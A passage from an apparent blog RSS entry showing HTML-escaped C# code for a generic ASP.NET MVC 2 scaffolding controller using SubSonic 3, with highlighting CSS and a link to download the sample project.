  &lt;pre class="alt"&gt;    {&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;this&lt;/span&gt;.ModelState.IsValid)&lt;/pre&gt;

  &lt;pre class="alt"&gt;        {&lt;/pre&gt;

  &lt;pre&gt;            Repo.Update(mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.ModelState.Clear();&lt;/pre&gt;

  &lt;pre&gt;            ViewData[&lt;span class="str"&gt;&amp;quot;results&amp;quot;&lt;/span&gt;] = &lt;span class="str"&gt;&amp;quot;Saved Successfully&amp;quot;&lt;/span&gt;;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        }&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Display()&lt;/pre&gt;

  &lt;pre&gt;    {&lt;/pre&gt;

  &lt;pre class="alt"&gt;        T mod = &lt;span class="kwrd"&gt;new&lt;/span&gt; T();&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Add()&lt;/pre&gt;

  &lt;pre&gt;    {&lt;/pre&gt;

  &lt;pre class="alt"&gt;        T mod = &lt;span class="kwrd"&gt;new&lt;/span&gt; T();&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    [AcceptVerbs(HttpVerbs.Post)]&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Add(T mod)&lt;/pre&gt;

  &lt;pre class="alt"&gt;    {&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;this&lt;/span&gt;.ModelState.IsValid)&lt;/pre&gt;

  &lt;pre class="alt"&gt;        {&lt;/pre&gt;

  &lt;pre&gt;            Repo.Add(mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;            ViewData[&lt;span class="str"&gt;&amp;quot;results&amp;quot;&lt;/span&gt;] = &lt;span class="str"&gt;&amp;quot;Saved Successfully&amp;quot;&lt;/span&gt;;&lt;/pre&gt;

  &lt;pre&gt;            ViewContext vc = &lt;span class="kwrd"&gt;new&lt;/span&gt; ViewContext();&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;] = &lt;span class="str"&gt;&amp;quot;Edit&amp;quot;&lt;/span&gt;;&lt;/pre&gt;

  &lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.ModelState.Clear();&lt;/pre&gt;

  &lt;pre&gt;        }&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, mod);&lt;/pre&gt;

  &lt;pre&gt;    }&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Index(&lt;span class="kwrd"&gt;int&lt;/span&gt;? page, &lt;span class="kwrd"&gt;int&lt;/span&gt;? perpage)&lt;/pre&gt;

  &lt;pre class="alt"&gt;    {&lt;/pre&gt;

  &lt;pre&gt;        var query = Repo.All&amp;lt;T&amp;gt;();&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="kwrd"&gt;int&lt;/span&gt; num = perpage ?? 20;&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;if&lt;/span&gt;(page != &lt;span class="kwrd"&gt;null&lt;/span&gt;)&lt;/pre&gt;

  &lt;pre class="alt"&gt;        {&lt;/pre&gt;

  &lt;pre&gt;            query.Skip((page.Value-1)*num);&lt;/pre&gt;

  &lt;pre class="alt"&gt;        }&lt;/pre&gt;

  &lt;pre&gt;        query.Take(num);&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, query.ToList());&lt;/pre&gt;

  &lt;pre&gt;    }&lt;/pre&gt;

  &lt;pre class="alt"&gt;}&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;

.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;If you would like to see the project in action below is a link to the code.&amp;#160; You will need VS 2010 RC to open the file.&lt;/p&gt;

&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:fb3a1972-4489-4e52-abe7-25a00bb07fdf:61b87e8b-7e39-438f-8cc0-02a35c08a2ec" class="wlWriterEditableSmartContent"&gt;&lt;p&gt; &lt;a href="http://blog.runxc.com/file.axd?file=ScaffoldTest.zip" target="_blank"&gt;Download Code&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:29 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Scaffolding-with-AspNet-MVC-2-and-SubSonic-3</guid></item></channel></rss>
